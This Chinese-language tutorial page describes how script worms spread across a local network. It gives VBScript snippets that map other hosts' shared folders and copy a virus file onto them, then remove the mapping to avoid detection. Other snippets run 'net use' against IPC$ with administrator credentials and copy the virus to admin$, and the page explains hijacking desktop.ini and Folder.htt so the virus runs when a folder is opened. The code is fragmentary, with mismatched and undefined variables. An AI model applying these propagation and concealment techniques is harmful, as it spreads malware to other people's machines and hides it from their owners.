当前位置: 首页 > 图文教程 > 脚本技术 > VBScript > 利用WSH里的MapNetworkDrive方法脚本蠕虫的传播方式

VBScript
用vbs检索在运行对话框中键入的一系列命令的代码
编写可以打开文本文件并打乱在该文件中所找到的单词顺序的vbs脚本
在 HTA 中暂停脚本的方法
运行脚本之前,如何确定计算机上的默认脚本宿主的代码
用vbs实现删除名称中有撇号的文件夹
用vbs将输出内容写到屏幕以覆盖当前屏幕上的内容的方法
用vbs实现配置无人登录计算机时使用的屏幕保护程序
用vbs更改 Internet Explorer 的标题栏
用vbs读取文本文件的最后一行
用vbs实现重新启动 Internet Explorer
用vbs实现禁用服务
用vbs确定计算机是否有 USB 2.0 端口的代码
用vbs列出注册表中 Run 项中的所有项目
用vbs将名称截断以使其最多包含 16 个字符的代码
用vbs将本地文件替换为在文件服务器上找到的新版本
用vbs确定脚本正在哪一个帐户下运行
用vbs确定可移动驱动器的连接时间
用vbs记录屏幕保护程序的开始时间和结束时间
用vbs计算某个词在日志文件中的出现次数
vbs病毒的简单例子源代码解析

VBScript 中的 利用WSH里的MapNetworkDrive方法脚本蠕虫的传播方式


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-11   浏览: 84 ::
收藏到网摘: n/a

我近日在网络上看到了一些关于局域网脚本蠕虫的传播方式的一些讨论,这里提供一些思路。
1. 利用WSH里的MapNetworkDrive方法。该方法是将网络驱动器映射到本地。
MapNetworkDrive方法:
object.MapNetworkDrive(strLocalName, strRemoteName, [bUpdateProfile], [strUser], [strPassword])
参数
object
WshNetwork 对象。
strLocalName
表示映射驱动器的本地名的字符串值。
strRemoteName
表示共享的 UNC 名称 (\\xxx\yyy) 的字符串值。
bUpdateProfile
可选。表示映射信息是否存储在当前的用户配置文件中的布尔值。如果提供的 bUpdateProfile 的值为 true,则该映射存储在用户的配置文件中(默认值为 false)。
strUser
可选。表示用户名的字符串值。如果使用当前用户以外的其他用户的凭据来映射网络驱动器,则必须提供该参数。
strPassword
可选。表示用户密码的字符串值。如果使用当前用户以外的其他用户的凭据来映射网络驱动器,则必须提供该参数。
说明
尝试映射非共享的网络驱动器时将产生错误。
主要原理是:得到本机的LAN地址后(一般为192.168.*.*)将其他主机的共享目录映射为本地的驱动器(如Z:),然后将病毒复制到映射的本地驱动器Z:,这样就把病毒复制到其他主机的目录去了。最后,还要使用RemoveNetworkDrive方法删除映射,以免被发现。
RemoveNetworkDrive方法:
object.RemoveNetworkDrive(strName, [bForce], [bUpdateProfile])
参数
object
WshNetwork 对象。
strName
表示要删除的映射驱动器名的字符串值。strName 参数可以是本地名称,也可以是远程名称,这取决于驱动器的映射方法。
bForce
可选。表示是否强制删除映射驱动器的布尔值。如果提供的 bForce 的值为 true,则无论该资源是否正在使用,该方法都删除这些连接。
bUpdateProfile
可选。表示是否从用户的配置文件中删除映射的字符串值。如果提供 bUpdateProfile 且其值为 true,则从用户配置文件中删除该映射。bUpdateProfile 的默认值为 false。
说明
如果在本地名称(驱动器名)和远程名称(UNC 名称)之间存在映射关系,则 strName 必须设置为本地名称。如网络路径中不存在本地名称(驱动器字母)映射,则 strName 必须设为远程名称。
我这里给一段VBS的示例代码:
Set myfso= CreateObject("Scripting.FileSystemObject")
Set WshNetwork = WScript.CreateObject("WScript.Network")
WshNetwork.MapNetworkDrive "I:", "\\" & unc
fso.copyfile "c:\virus.vbs " ,"I:\virus.vbs.txt"
WshNetwork.RemoveNetworkDrive "I:"
2. 利用IPC$进行连接。这种方式估计玩HACK的朋友比较熟悉啦!原理就是利用WSCRIPT.SHELL来执行。具体可以参考各种IPC$攻击傻瓜教程,这里仅提供一段代码:
Set objshell=wscript.createobject("wscript.shell")
Dim st,sc
st="net use \\" & "192.168.0.1 \IPC$ "& pass &" /" & "administrator"
objshell.run st
sc="copy c:\virus.vbs \\192.168.0.1\admin$"
objshell.run sc
3. 就是像“新欢乐时光”病毒一样的利用FOLDER.HTT的被动式进行传播。
Desktop.ini: 活动桌面的配置文件
Desktop.ini定义了它所在的文件夹在桌面上或者在资源管理器中的显示风格以及文件夹的某些属性。
关键:WebViewTemplate.NT5=file://Folder.htt
就是修改desktop.ini使其指向同目录下的folder.htt,当以WEB视图打开文件夹时,就会按照desktop.ini里面的设置执行folder.htt。这样我们就可以把病毒写入folder.htt,使之不断复制。
具体参见其他有关新欢乐时光的病毒分析。